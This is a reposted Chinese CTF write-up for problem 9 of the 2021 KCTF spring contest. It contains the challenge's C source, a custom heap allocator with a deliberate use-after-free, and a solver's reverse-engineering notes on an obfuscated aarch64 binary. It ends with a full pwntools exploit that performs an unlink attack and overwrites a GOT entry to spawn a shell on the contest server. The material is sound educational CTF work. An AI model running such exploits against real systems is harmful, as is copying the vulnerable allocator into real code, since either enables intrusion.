看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

admin 2021年10月27日10:00:30评论74 views字数 13175阅读43分55秒阅读模式
看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

比赛进入尾声,一切都是瞬息万变。

比赛进行到第二天时,在我们以为选手们都进入瓶颈的时候,hzqmwne势如破竹,一举拿下本题,带给我们惊喜。AceHub的发挥也依然非常稳定,顺利拿下本题。

看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

本题有超过1700支战队围观,最终两支战队攻破成功。接下来我们一起来看看本题究竟有什么独特之处吧!


出题团队简介


看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

出题人介绍:Ex(星盟安全团队团长),初代战队队长,热爱物理学,喜欢钻研技术,痴迷于pwn技术的研究,主要擅长pwn方向。



赛题设计思路


出题思路:


模拟NtHeap的unlink


因为Windows上面的程序跑在 Linux 上面挺麻烦的,所以出题人就自己根据NtHeap的一些结构体规则,简单复刻出一个“只有一个双向循环链表”的Heap结构,由于NtHeap的结构体比较特殊,所以出题人在编写 Heap 结构体操作的时候直接使用宏来实现,对于有源码的出题人本人来说这样的代码还算直观,但是对于没有源码进行分析的师傅来说就比较抽象了。


思路的话和 Windows 的 unlink 很类似,这里就不赘述了。


unlink 漏洞

attachment 文件夹"class="anchor" href="#attachment 文件夹">attachment 文件夹


给用户的源程序

docker 文件夹"class="anchor" href="#docker 文件夹">docker 文件夹


用于启动docker。
 
例如:
$ cd docker$ docker build -t kctf .$ docker run -dti -p55555:55555 kctf
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>
typedef struct chunk{ size_t pre_size, size; struct chunk *fd, *bk;}chunk;
#define POINT(chk) ((chunk*)(((char *)(chk)) + 0x10))#define UNPOINT(chk) ((chunk*)(((char *)(chk)) - 0x10))#define CHUNK_SIZE(size) (((size) & 0xf) ? (((size) | 0xf) + 0x11) : ((size) + 0x10))#define NEXT_CHUNK(chk) ((chunk *)(((char *)chk) + (chk->size & 0xf0)))#define PRE_CHUNK(chk) ((chunk *)(((char *)chk) - (chk->pre_size & 0xf0)))#define ASSERT(value, expected, error_info) if((value) != (expected)){ fprintf(stderr, "Error Report: %sn", (error_info)); exit(1); }#define SIZE_CHECK(size) ASSERT((!((size) & 0xf0)), 0, "Size check! ")
void *top_chunk;chunk *link_hint[0x10];
chunk free_list;
void my_free(char *mem){ unsigned int size; chunk *victim, *temp, *next_chunk, *pre_chunk; victim = (chunk *)(mem - 0x10); if(mem == NULL) { return; }
ASSERT((size_t)victim & 0xf, 0, "Wrong ptr!"); ASSERT(victim->size & 0xe, 0, "Wrong size!"); next_chunk = NEXT_CHUNK(victim);
// check if(next_chunk != top_chunk) { ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!"); SIZE_CHECK(next_chunk->size); if((next_chunk->size & 1)) { ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! "); } }
if(victim->size & 1) { pre_chunk = PRE_CHUNK(victim); ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!"); SIZE_CHECK(pre_chunk->size); ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! "); }

size = victim->size & 0xf0;
temp = UNPOINT(free_list.bk); // insert
if(temp == POINT(&free_list) || (temp->size & 0xf0) >= size) { ASSERT(temp->size & 0xe, 0, "Wrong size!"); ASSERT(temp->fd, POINT(&free_list), "Double link list error!");
victim->bk = POINT(temp); victim->fd = POINT(&free_list); temp->fd = POINT(victim); free_list.bk = POINT(victim); } else { while(temp->bk != POINT(&free_list)) { temp = UNPOINT(temp->bk); if((temp->size & 0xf0) >= size) { ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Duoble link list error!"); ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!");
victim->bk = POINT(temp); victim->fd = temp->fd; UNPOINT(temp->fd)->bk = POINT(victim); temp->fd = POINT(victim); } }
if(temp->bk == POINT(&free_list)) { ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Duoble link list error!"); ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!");
victim->bk = POINT(&free_list); victim->fd = POINT(temp); temp->bk = POINT(victim); free_list.fd = POINT(victim); } }
next_chunk->pre_size = victim->size & 0xf0; // next_chunk->size |= 1; link_hint[(victim->size & 0xf0) >> 4] = victim;}
void *my_malloc(unsigned int n){ unsigned int size; chunk *temp, *victim, *next_chunk, *pre_chunk;
size = CHUNK_SIZE(n); temp = UNPOINT(free_list.bk); while((temp != &free_list) && (temp->size & 0xf0) <= size) { if((temp->size & 0xf0) == size) { ASSERT(UNPOINT(temp->bk)->fd, POINT(temp), "Double link list error!"); ASSERT(UNPOINT(temp->fd)->bk, POINT(temp), "Double link list error!"); // more checks if(link_hint[(size & 0xf0) >> 4] == temp) { SIZE_CHECK(UNPOINT(temp->bk)->size); SIZE_CHECK(UNPOINT(temp->fd)->size); ASSERT(UNPOINT(temp->bk)->size & 0xe, 0, "Wrong heap!"); ASSERT(UNPOINT(temp->fd)->size & 0xe, 0, "Wrong heap!");
victim = UNPOINT(temp->fd);
if(victim != &free_list) { next_chunk = NEXT_CHUNK(victim);
// check if(next_chunk != top_chunk) { ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!"); SIZE_CHECK(next_chunk->size); if((next_chunk->size & 1)) { ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! "); } }
if(victim->size & 1) { pre_chunk = PRE_CHUNK(victim); ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!"); SIZE_CHECK(pre_chunk->size); ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! "); } }


victim = UNPOINT(temp->bk);
if(victim != &free_list) { next_chunk = NEXT_CHUNK(victim);
// check if(next_chunk != top_chunk) { ASSERT(next_chunk->size & 0xe, 0, "Wrong next_chunk size!"); SIZE_CHECK(next_chunk->size); if((next_chunk->size & 1)) { ASSERT(victim->size & 0xf0, next_chunk->pre_size & 0xf0, "Wrong heap! "); } }
if(victim->size & 1) { pre_chunk = PRE_CHUNK(victim); ASSERT(victim->size & 0xe, 0, "Wrong pre_chunk size!"); SIZE_CHECK(pre_chunk->size); ASSERT(victim->pre_size & 0xf0, pre_chunk->size & 0xf0, "Wrong heap! "); } } }
// unlink UNPOINT(temp->bk)->fd = temp->fd; UNPOINT(temp->fd)->bk = temp->bk;
next_chunk = NEXT_CHUNK(temp); next_chunk->size &= 0xf0;
return POINT(temp); } else { temp = UNPOINT(temp->bk); } }
temp = top_chunk; ASSERT(temp->size & 0xf0, 0, "Top chunk error!"); temp->size |= size; top_chunk = (char *)top_chunk + size;
return POINT(temp);}

void initial(){
setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0);
alarm(60);}
int read_n(char *buf, int size){ int bytes;
bytes = read(0, buf, size); if(bytes <= 0) { exit(EXIT_FAILURE); } if(buf[bytes - 1] == 'n') { buf[bytes - 1] = ''; }
return bytes;}
unsigned int get_int(){ char buf[0x100]; memset(buf, 0, sizeof(buf)); read_n(buf, sizeof(buf) - 1); return atol(buf);}
#define LENGTH 0x10char *ptr[LENGTH];unsigned int ptr_size[LENGTH];
void add(){ unsigned int index, i, size;
for(i = 0; i < LENGTH; i++) { if(!ptr[i]) { index = i; break; } }
if(index >= LENGTH) { puts("No space!"); return; }
printf("Size: "); size = get_int(); if(size >= 0xf0) { puts("Invalid size!"); return; }
ptr[index] = my_malloc(size); ptr_size[index] = size; printf("Content: "); read_n(ptr[index], size);}
void delete(){ unsigned int index; printf("Index: "); index = get_int(); if(index < LENGTH && ptr[index]) { my_free(ptr[index]); } else { puts("Invalid index!"); }}
void edit(){ unsigned int index; printf("Index: "); index = get_int(); if(index < LENGTH && ptr[index]) { printf("Content: "); read_n(ptr[index], ptr_size[index]); } else { puts("Invalid index!"); }}
int main(){ char buf[0x100]; int option = 0; unsigned int length; initial();
puts("KCTFn");
top_chunk = mmap(NULL, 0x40000, 3, 0x22, -1, 0); ((size_t*)top_chunk)[1] = 0x20; top_chunk = (size_t*)top_chunk + 4; free_list.size = 0x20; free_list.bk = POINT(&free_list); free_list.fd = POINT(&free_list);
do { printf( "1. addn" "2. deleten" "3. editn" "4. exitn" "Your choice: ");
option = get_int(); switch(option) { case 1: add(); break; case 2: delete(); break; case 3: edit(); break; case 4: break; default: puts("Invalid choice!"); break; }
puts(""); }while(option != 4);
puts("Goodbye!"); return 0;}


赛题解析


本赛题解析由看雪论坛 mb_mgodlfyn 给出:


看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析



$ file mainmain: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, stripped
$ checksec main    Arch:     aarch64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)


linux aarch64的elf文件,没开pie(所以text段和data段地址固定),没开full relro(所以got表可写),开了NX(数据不可执行,但是否生效要看环境)

 

菜单堆题


IDA逆向,发现开了Ollvm混淆,找了几个去混淆的工具,要么跑不起来,要么没效果/有问题(求推荐目前最好用的去混淆工具)。

 

直接硬看,识别出几个函数:
sub_403CE0:add
sub_404400:edit
sub_4041B4:delete
sub_403908:readline,遇到n结尾则改成,不以n结尾则不变(所以没有0截断)
sub_403B10:readint,先readline然后对字符串调用strtol
sub_402058:自己实现的malloc
sub_400994:自己实现的free

 

add:分配的堆块指针保存在0x4161B0开始的char *数组的第一个空位置,最多能保存16个;size保存在0x4160AC开始的unsigned int数组中
edit:给一个[0, 16)的index,如果对应index的位置不为空则可以写入最多size个字节
delete:给一个[0, 16)的index,free掉对应index的堆块

 

漏洞在delete中,free后没有把指针置零,后续的edit仍能写入,造成UAF。

 

malloc和free比较复杂,混淆去不掉根本看不动。搭环境动态调试,在ubuntu上可以直接安装:

apt-get install qemu-user libc6-arm64-cross gdb-multiarch


启动:
qemu-aarch64 -L /usr/aarch64-linux-gnu ./main

调试:
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./maingdb-multiarch -ex "target remote localhost:1234"

经过反复试验,堆的设计应该是这样的:
struct chunk {    uint64_t prev_size;    uint64_t size;    uintptr_t fd;    uintptr_t bk;};

与glibc的堆很相似,chunk按照内存地址从小到大连续排布,根据prev_size和size可以找到前一个和后一个堆块。

 

在malloc时,用户传入的size先向上对齐到16字节,然后再加上16字节(用来保存prev_size和size),对应到最终分配的chunk的size。


size域的最低一个bit指示前一个堆块是否空闲,1表示前一个堆块是空闲的,0表示前一个堆块在使用中(与glibc的PREV_INUSE正好相反)。


返回给用户的指针指向chunk的fd域。

 

free的堆块由fd和bk组成双向链表,注意fd和bk指向的是chunk的fd域的地址而不是头部,全局变量0x416190(也是一个struct chunk结构)是链表的头(与glibc的unsorted_bin类似)。链表为空时0x416190的fd和bk都指向自己的fd域的地址(0x4161A0)。

 

对同样大小的chunk,0x416110的数组的对应下标保存了指向最后释放的chunk的头部(prev_size域)的指针(类似于glibc的fastbin)。


0x4160A0保存着当前已分配区域的末尾的指针(类似于glibc的topchunk)

 

free的过程:


把堆块从尾部插入"unsorted bin"(从0x416190的bk开始),然后同时插入对应size的"fastbin"中(如果"fastbin"该位置非空,替换之)

 

malloc的过程:


1. 如果"fastbin"里该大小的位置非空,则优先从这里取chunk;


2. 否则,倒序遍历"unsorted bin"链表(从0x416190的bk开始),找第一个size与待分配大小完全相等的堆块,如果找到,将其从双向链表解链(unlink),返回;


3. 否则,从"topchunk"分配堆块,然后抬升0x4160A0指针。


整个堆分配器没有堆块的拆分与合并

 

UAF能任意覆盖fd和bk(注意输入没有0截断),很容易想到2.23时代针对双向链表的经典攻击方法unlink。


假设当前堆块是P,则把P从双链表解链的操作为:

NEXT = P->fdPREV = P->bkNEXT -> bk = PREVPREV->fd = NEXT


因此如果能控制P->fd和P->bk,就有机会实现任意写。但是,malloc和free中有很多检查需要bypass掉:

"Size check!""Wrong heap! ""Wrong ptr!""Wrong size!""Wrong next_chunk size!""Wrong pre_chunk size!""Double link list error!""Top chunk error!"


看描述,这些检查其实glibc里也有,只是不知道题目里的触发时机和条件是否和glibc一样。

 

堆块的分配原理可以通过动态调试看出来,但这些检查就不容易看出来了(因为正常情况下不会触发)。OLLVM的恶心之处在这里才真正体现出来,如果没有混淆,通过静态分析能很容易找出这些检查在什么情况下会触发

 

混淆去不掉,只好猜+动态调试验证。

 

"Double link list error!":双链表完整性检查,一般发生在即将解链的时候,检查P->fd->bk == P && P->bk->fd == P。题目里的fd和bk指向的是chunk的fd域,因此有一点微调,但基本一致,可以用经典方法绕过。

 

"Size check!":在用2.23常规堆题的经典unlink方法试验时总是触发这个错误,完全搞不明白,但好像把待unlink的堆块的fd指向的堆块的下一个堆块的size赋值正确就能通过这个检查?

 

另外注意到malloc里有很对对size域& 0xF0的操作很可疑,因此怀疑size域实际上只有最低的一个字节有用,试验发现确实如此。

 

下面开始构造,这是全局的content数组:

0x4161B0:index 00x4161B8:index 10x4161C0:index 20x4161C8:index 30x4161D0:index 4 fakechunk20x4161D8:index 5 fakechunk20x4161E0:index 6 fakechunk20x4161E8:index 7 fakechunk2 -> 0x4161C0 (-> changed to 0x416200)0x4161F0:index 8 fakechunk30x4161F8:index 9 fakechunk30x416200:index 10 fakechunk3 -> 0x4161C0 (-> changed to 0x4161E0)0x416208:index 11 fakechunk30x416210:index 12 fakechunk40x416218:index 13 fakechunk40x416220:index 140x416228:index 15


注意到第一次分配的堆块的地址总是0x30结尾,因此先add(0xe0, "0")分配一个0xf0大小的堆块,这样第二个堆块的地址就会以0x120结尾。


然后不断的add(0x10)再delete,将index 1到index 13的全部填充为同一个大小为0x20的堆块地址,且这个地址恰好也以0x20结尾。

 

然后直接用libc2.23时代的经典unlink攻击:UAF修改这个堆块的fd为0x4161E0,bk为0x416200(因为程序没开pie,所以这两个地址是固定的)。


注意(P->fd - 0x10)->bk = 0x4161D0->bk = (0x4161E8) = P, (P->bk - 0x10)->fd = 0x4161F0->fd = *(0x416200) = P,满足双向链表的完整性检查。


另外保证0x4161D8、0x4161F8、0x416218三个地方& 0xF0以后等于0x20,保证不出现"Size Check!"。


(实际上应该用不到这么多堆块,这里为了不深究检查的触发条件就多构造了一些值)

 

然后分配一个新的0x20大小的堆块(malloc(0x10)),触发unlink,结果是0x416200处的值被修改为了0x4161E0,0x4161E8处的值被修改为了0x416200。

 

至此得到了任意写:(受限于readline的n截断,待写入的地址和值不能包含"n")。


先通过index 10把0x4161E0(index6)的值改为目标地址,再通过index6向目标地址写内容。

 

下一步是如何通过任意写获得shell,在题目给出libc之后变得非常简单:


查到strtol在libc的偏移是0x358a8,system在libc的偏移是0x3dda8,二者相差不超过0x10000,因此经过地址随机化之后有概率保证地址的高6字节都相同。


对于地址的低16位,其中低12位是不受随机化影响的,剩下的四位可以爆破
利用任意写,只改低2个字节(partial overwrite,也是经典方法),有1/16的概率把strtol的got表值覆盖为system函数的地址。


而strtol在readint时被调用,第一个参数是给菜单的输入,是完全可控的,可以输入"/bin/sh"获得shell。

 

最终的EXP:(1/16的成功率)

from pwn import *
def add(size, content): global s s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "1") s.sendlineafter("Size: ", str(size)) s.sendafter("Content: ", content)
def delete(index): global s s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "2") s.sendlineafter("Index: ", str(index))
def edit(index, content): global s s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "3") s.sendlineafter("Index: ", str(index)) s.sendafter("Content: ", content)

s = remote("121.36.145.157", 55555)
add(0xe0, "0")add(0x10, "1")delete(1)add(0x10, "2")delete(2)add(0x10, "3")delete(3)add(0x10, "4")delete(4)add(0x10, "5")delete(5)add(0x10, "6")delete(6)add(0x10, "7")delete(7)add(0x10, "8")delete(8)add(0x10, "9")delete(9)add(0x10, "10")delete(10)add(0x10, "11")delete(11)add(0x10, "12")delete(12)add(0x10, "13")delete(13)
edit(4, p64(0x4161E0)+p64(0x416200))
add(0x10, "14")

def writeq(addr, value): edit(10, p64(addr)) edit(6, p64(value) if type(value)==int else value)
def writebytes(addr, b): for i in range(0, len(b), 8): writeq(addr+i, b[i:i+8])

writebytes(0x416040, b"xa8xdd")s.sendlineafter("1. addn2. deleten3. editn4. exitnYour choice: ", "/bin/sh")
s.interactive()


后记:

 

因为题目刚开始没给libc,所以在获得任意写之后首先思考的是如何leak,然而程序里没有输出堆块内容的函数。


考虑过通过修改stdout泄露、dl-resolve直接搞system,觉得都不可行。

 

利用任意写改掉got表函数地址的最低字节然后看程序能否正常运行,搞出了部分函数的最低字节地址,然后去libc database搜索并没有结果(看了题目最后给出的libc,是linaro的,大概database里没收录)。

 

考虑题目是不是偷懒用qemu-aarch64启动的(如果是这样,NX和ASLR都是无效的,也就是说可以直接在bss段写shellcode跳过去),本地成功了远程不行,沟通后确认远程是用qemu-system-aarch64启动的(偷鸡失败)。

 

直接猜system函数低12位的地址爆破:看了多个版本的libc,strtol和system的距离都很近,这样只要猜对就有1/16的概率成功,而aarch64 libc的导出函数都是0或8结尾,所以开512个进程爆破应该是可以接受的。


太过暴力,想了想还是决定先放了,厚颜无耻的询问能否提供libc(打算如果不给再爆破),然后出题方很大方的给了。


题目不给libc应该是想考察如何获得任意读。这一点最开始确实没反应过来,沟通后才恍然大悟:


前面获得shell的方法是把strtol覆盖为system,利用第一个参数可控传入"/bin/sh"字符串。


由于第一个参数可控,如果把strtol覆盖为printf在plt表的地址,就得到了一个格式化字符串漏洞(而且格式化串在栈上,还能反复利用),可以任意地址读/写。

 

利用任意读,可以遍历linkmap获得libc的基地址(linkmap的地址保存在got表前面,0x415ff0处,linkmap+0x18是指向下一个linkmap的指针,linkmap+0x8是指向共享库的名称的指针,limkmap+0x0是共享库的基地址),然后dump出libc的文件头或者用pwntools的DynELF获得system函数的偏移。



往期解析


1. 看雪·深信服 2021 KCTF 春季赛 | 第二题设计思路及解析

2. 看雪·深信服 2021 KCTF 春季赛 | 第三题设计思路及解析
3. 看雪·深信服 2021 KCTF 春季赛 | 第四题设计思路及解析
4. 看雪·深信服 2021 KCTF 春季赛 | 第五题设计思路及解析
5. 看雪·深信服 2021 KCTF 春季赛 | 第六题设计思路及解析
6. 看雪·深信服 2021 KCTF 春季赛 | 第七题设计思路及解析
7. 看雪·深信服 2021 KCTF 春季赛 | 第八题设计思路及解析




主办方

看雪CTF(简称KCTF)是圈内知名度最高的技术竞技之一,从原CrackMe攻防大赛中发展而来,采取线上PK的方式,规则设置严格周全,题目涵盖Windows、Android、iOS、Pwn、智能设备、Web等众多领域。

看雪CTF比赛历史悠久、影响广泛。自2007年以来,看雪已经举办十多个比赛,与包括金山、360、腾讯、阿里等在内的各大公司共同合作举办赛事。比赛吸引了国内一大批安全人士的广泛关注,历年来CTF中人才辈出,汇聚了来自国内众多安全人才,高手对决,精彩异常,成为安全圈的一次比赛盛宴,突出了看雪论坛复合型人才多的优势,成为企业挑选人才的重要途径,在社会安全事业发展中产生了巨大的影响力。

合作伙伴

看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

深信服科技股份有限公司成立于2000年,是一家专注于企业级安全、云计算及基础架构的产品和服务供应商,致力于让用户的IT更简单、更安全、更有价值。目前深信服在全球设有50余个分支机构,员工规模超过7000名。


看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析
比赛火热进行中!立即挑战!



看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析
- End -



看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]




看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

球分享

看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

球点赞

看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

球在看



看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析
“阅读原文一起来充电吧!

本文始发于微信公众号(看雪学院):看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月27日10:00:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   看雪·深信服 2021 KCTF 春季赛 | 第九题设计思路及解析http://cn-sec.com/archives/389374.html

发表评论

匿名网友 填写信息